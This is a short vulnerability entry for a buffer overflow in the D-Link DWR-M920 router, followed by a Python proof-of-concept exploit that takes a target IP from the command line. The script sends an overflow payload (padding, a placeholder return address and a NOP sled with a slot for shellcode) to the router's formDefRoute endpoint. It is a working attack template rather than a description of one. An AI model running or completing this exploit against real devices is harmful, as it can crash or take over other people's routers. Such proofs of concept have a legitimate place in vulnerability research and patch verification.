CVE-2025-15189 D-Link DWR-M920 路由器 formDefRoute 缓冲区溢出漏洞

import requests import sys def exploit_cve_2025_15189(target_ip, target_port=80): """ CVE-2025-15189 PoC - D-Link DWR-M920 Buffer Overflow Target: /boafrm/formDefRoute sub_464794 function """ target_url = f"http://{target_ip}:{target_port}/boafrm/formDefRoute" # Generate overflow payload (adjust length based on target) # EIP offset at approximately 1048 bytes (may vary) overflow_length = 2000 padding = b'A' * 1048 eip = b'BBBB' # Overwrite EIP (replace with actual address) shellcode = b'\x90' * 100 # NOP sled # Add your shellcode here payload = padding + eip + shellcode # Construct malicious request data = { 'submit-url': payload.decode('latin-1'), 'submit-button': 'Save' } try: print(f"[*] Sending exploit to {target_url}") response = requests.post(target_url, data=data, timeout=10) print(f"[+] Request sent, Status code: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_cve_2025_15189(target, port)